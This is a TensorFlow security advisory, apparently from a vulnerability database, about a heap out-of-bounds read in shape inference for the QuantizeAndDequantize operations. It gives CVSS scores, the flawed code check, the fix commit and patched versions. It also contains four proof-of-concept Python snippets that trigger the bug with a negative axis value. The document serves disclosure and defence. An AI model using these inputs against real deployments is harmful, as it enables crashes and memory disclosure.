CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:L/AC:L/Au:N/C:P/I:N/A:P
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
EPSS
Percentile
12.6%
The shape inference functions for the QuantizeAndDequantizeV*
operations can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:
import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV4Grad(
gradients=[1.0,1.0],
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
axis=-100)
return data
test()
import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV4(
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
signed_input=False,
num_bits=10,
range_given=False,
round_mode='HALF_TO_EVEN',
narrow_range=False,
axis=-100)
return data
test()
import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV3(
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
signed_input=False,
num_bits=10,
range_given=False,
narrow_range=False,
axis=-100)
return data
test()
import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeAndDequantizeV2(
input=[1.0,1.0],
input_min=[1.0,10.0],
input_max=[1.0,10.0],
signed_input=False,
num_bits=10,
range_given=False,
round_mode='HALF_TO_EVEN',
narrow_range=False,
axis=-100)
return data
test()
In all of these cases, axis
is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values:
...
if (axis != -1) {
...
c->Dim(input, axis);
...
}
We have patched the issue in GitHub commit 7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d.
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:L/AC:L/Au:N/C:P/I:N/A:P
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
EPSS
Percentile
12.6%